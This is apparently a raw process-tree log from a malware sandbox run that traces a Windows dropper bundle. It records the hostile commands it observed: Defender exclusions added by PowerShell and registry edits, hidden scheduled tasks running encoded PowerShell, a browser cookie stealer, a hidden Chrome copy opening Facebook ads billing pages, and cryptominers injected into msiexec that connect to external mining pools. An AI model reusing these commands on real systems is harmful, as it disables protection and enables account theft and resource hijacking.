C:\Users\Admin\AppData\Local\Temp\tofjnhxb.1r5\setup.exeC:\Users\Admin\AppData\Local\Temp\tofjnhxb.1r5\setup.exe /8-222216⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Wandering-Glade'17⤵
-
C:\Program Files (x86)\Wandering-Glade\7za.exe"C:\Program Files (x86)\Wandering-Glade\7za.exe" e -p154.61.71.13 winamp.7z17⤵
-
C:\Program Files (x86)\Wandering-Glade\setup.exe"C:\Program Files (x86)\Wandering-Glade\setup.exe" /8-222217⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hxxd35bo.dep\setup.exe /S /kr /site_id=754 & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\hxxd35bo.dep\setup.exeC:\Users\Admin\AppData\Local\Temp\hxxd35bo.dep\setup.exe /S /kr /site_id=75416⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"17⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&18⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3219⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6419⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "giQzPxIjQ" /SC once /ST 04:29:04 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="17⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "giQzPxIjQ"17⤵
- Modifies registry class
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "giQzPxIjQ"17⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bmIXAqnwlcZKDlfrrr" /SC once /ST 19:31:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\AqSWrSA.exe\" 9n /site_id 754 /S" /V1 /F17⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\czqzvxjh.xov\Four.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\czqzvxjh.xov\Four.exeC:\Users\Admin\AppData\Local\Temp\czqzvxjh.xov\Four.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\J9G27WO2JF\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\J9G27WO2JF\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10417⤵
-
C:\Users\Admin\AppData\Local\Temp\J9G27WO2JF\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\J9G27WO2JF\multitimer.exe" 1 3.1616869596.605f78dc47b39 10418⤵
-
C:\Users\Admin\AppData\Local\Temp\J9G27WO2JF\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\J9G27WO2JF\multitimer.exe" 2 3.1616869596.605f78dc47b3919⤵
-
C:\Users\Admin\AppData\Local\Temp\smkgribndof\vict.exe"C:\Users\Admin\AppData\Local\Temp\smkgribndof\vict.exe" /VERYSILENT /id=53520⤵
-
C:\Users\Admin\AppData\Local\Temp\is-00ASS.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-00ASS.tmp\vict.tmp" /SL5="$30642,870426,780800,C:\Users\Admin\AppData\Local\Temp\smkgribndof\vict.exe" /VERYSILENT /id=53521⤵
-
C:\Users\Admin\AppData\Local\Temp\is-RMNH5.tmp\winhost.exe"C:\Users\Admin\AppData\Local\Temp\is-RMNH5.tmp\winhost.exe" 53522⤵
-
C:\Users\Admin\AppData\Local\Temp\l5v1t43fgiz\sczfhdica0k.exe"C:\Users\Admin\AppData\Local\Temp\l5v1t43fgiz\sczfhdica0k.exe" /ustwo INSTALL20⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 64821⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 66421⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 70421⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 67621⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 88821⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 72821⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 115621⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2032 -s 112821⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\3zgd2nlhz0s\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\3zgd2nlhz0s\AwesomePoolU1.exe"20⤵
-
C:\Users\Admin\AppData\Local\Temp\bksbx3yr2gn\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\bksbx3yr2gn\Setup3310.exe" /Verysilent /subid=57720⤵
-
C:\Users\Admin\AppData\Local\Temp\is-7ETO0.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-7ETO0.tmp\Setup3310.tmp" /SL5="$10654,138429,56832,C:\Users\Admin\AppData\Local\Temp\bksbx3yr2gn\Setup3310.exe" /Verysilent /subid=57721⤵
-
C:\Users\Admin\AppData\Local\Temp\is-VK8FE.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-VK8FE.tmp\Setup.exe" /Verysilent22⤵
-
C:\Users\Admin\AppData\Local\Temp\selekvzv144\app.exe"C:\Users\Admin\AppData\Local\Temp\selekvzv144\app.exe" /8-2320⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Restless-Sea'21⤵
-
C:\Program Files (x86)\Restless-Sea\7za.exe"C:\Program Files (x86)\Restless-Sea\7za.exe" e -p154.61.71.13 winamp.7z21⤵
-
C:\Program Files (x86)\Restless-Sea\app.exe"C:\Program Files (x86)\Restless-Sea\app.exe" /8-2321⤵
-
C:\Users\Admin\AppData\Local\Temp\gnqoijrjfsz\snvahupqnbe.exe"C:\Users\Admin\AppData\Local\Temp\gnqoijrjfsz\snvahupqnbe.exe" /1-61020⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Dry-Resonance'21⤵
-
C:\Program Files (x86)\Dry-Resonance\7za.exe"C:\Program Files (x86)\Dry-Resonance\7za.exe" e -p154.61.71.13 winamp.7z21⤵
-
C:\Program Files (x86)\Dry-Resonance\snvahupqnbe.exe"C:\Program Files (x86)\Dry-Resonance\snvahupqnbe.exe" /1-61021⤵
-
C:\Users\Admin\AppData\Local\Temp\2YG12JI0XF\setups.exe"C:\Users\Admin\AppData\Local\Temp\2YG12JI0XF\setups.exe" ll17⤵
-
C:\Users\Admin\AppData\Local\Temp\is-FU13B.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-FU13B.tmp\setups.tmp" /SL5="$9031E,408070,216064,C:\Users\Admin\AppData\Local\Temp\2YG12JI0XF\setups.exe" ll18⤵
-
C:\Users\Admin\AppData\Local\Temp\a8-69a57-70f-145b1-a282234107dbc\Kiqafanicy.exe"C:\Users\Admin\AppData\Local\Temp\a8-69a57-70f-145b1-a282234107dbc\Kiqafanicy.exe"14⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 219215⤵
-
C:\Program Files (x86)\VR\Versium Research\hjjgaa.exe"C:\Program Files (x86)\VR\Versium Research\hjjgaa.exe"11⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵
-
C:\Users\Admin\AppData\Local\Temp\2uc2epr43da\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\2uc2epr43da\AwesomePoolU1.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\g5arx0us5xk\s3jzz2sspe0.exe"C:\Users\Admin\AppData\Local\Temp\g5arx0us5xk\s3jzz2sspe0.exe" /ustwo INSTALL8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 6489⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 6649⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 6329⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 6249⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 8809⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 9529⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 12849⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 13369⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 14449⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\qxdcokqajv3\vpn.exe"C:\Users\Admin\AppData\Local\Temp\qxdcokqajv3\vpn.exe" /silent /subid=4828⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-5AEV2.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-5AEV2.tmp\vpn.tmp" /SL5="$303E6,15170975,270336,C:\Users\Admin\AppData\Local\Temp\qxdcokqajv3\vpn.exe" /silent /subid=4829⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "10⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090111⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "10⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090111⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall10⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install10⤵
-
C:\Users\Admin\AppData\Local\Temp\0urlz0w1jqn\0yyetja1get.exe"C:\Users\Admin\AppData\Local\Temp\0urlz0w1jqn\0yyetja1get.exe" /1-6108⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Frosty-Silence'9⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Frosty-Silence\7za.exe"C:\Program Files (x86)\Frosty-Silence\7za.exe" e -p154.61.71.13 winamp.7z9⤵
-
C:\Program Files (x86)\Frosty-Silence\0yyetja1get.exe"C:\Program Files (x86)\Frosty-Silence\0yyetja1get.exe" /1-6109⤵
-
C:\Users\Admin\AppData\Local\Temp\aixs05o4j45\app.exe"C:\Users\Admin\AppData\Local\Temp\aixs05o4j45\app.exe" /8-238⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Solitary-Dream'9⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Solitary-Dream\7za.exe"C:\Program Files (x86)\Solitary-Dream\7za.exe" e -p154.61.71.13 winamp.7z9⤵
-
C:\Program Files (x86)\Solitary-Dream\app.exe"C:\Program Files (x86)\Solitary-Dream\app.exe" /8-239⤵
-
C:\Users\Admin\AppData\Local\Temp\hjslrujh0vo\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\hjslrujh0vo\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-66TOS.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-66TOS.tmp\IBInstaller_97039.tmp" /SL5="$10568,9935198,721408,C:\Users\Admin\AppData\Local\Temp\hjslrujh0vo\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://ilovenigerdickz.club/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=9703910⤵
-
C:\Users\Admin\AppData\Local\Temp\is-8QMN3.tmp\{app}\chrome_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-8QMN3.tmp\{app}\chrome_proxy.exe"10⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-8QMN3.tmp\{app}\chrome_proxy.exe"11⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 412⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\whuzjidw3lk\layawhdydqp.exe"C:\Users\Admin\AppData\Local\Temp\whuzjidw3lk\layawhdydqp.exe" /quiet SILENT=1 AF=7568⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\whuzjidw3lk\layawhdydqp.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\whuzjidw3lk\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1616613711 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"9⤵
-
C:\Users\Admin\AppData\Local\Temp\WRMVWFQRTV\setups.exe"C:\Users\Admin\AppData\Local\Temp\WRMVWFQRTV\setups.exe" ll5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-M65N5.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-M65N5.tmp\setups.tmp" /SL5="$202EA,408070,216064,C:\Users\Admin\AppData\Local\Temp\WRMVWFQRTV\setups.exe" ll6⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"4⤵
- Executes dropped EXE
- Drops Chrome extension
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y5⤵
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/5⤵
- Suspicious use of FindShellTrayWindow
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffcf1c56e00,0x7ffcf1c56e10,0x7ffcf1c56e206⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2176 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1892 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1520 /prefetch:26⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2800 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2792 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3244 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3544 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3836 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=MAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAIAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=3076 /prefetch:26⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=3948 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5172 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=3856 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=3776 /prefetch:86⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5156 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1476 /prefetch:16⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1480,8786304084069689931,8866165091804349623,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4024 /prefetch:16⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\681C.tmp.exe"C:\Users\Admin\AppData\Roaming\681C.tmp.exe"5⤵
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999996⤵
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 99996⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"4⤵
-
C:\ProgramData\8208940.exe"C:\ProgramData\8208940.exe"5⤵
-
C:\ProgramData\4040619.exe"C:\ProgramData\4040619.exe"5⤵
-
C:\ProgramData\6365558.exe"C:\ProgramData\6365558.exe"5⤵
-
C:\ProgramData\8435573.exe"C:\ProgramData\8435573.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt5⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
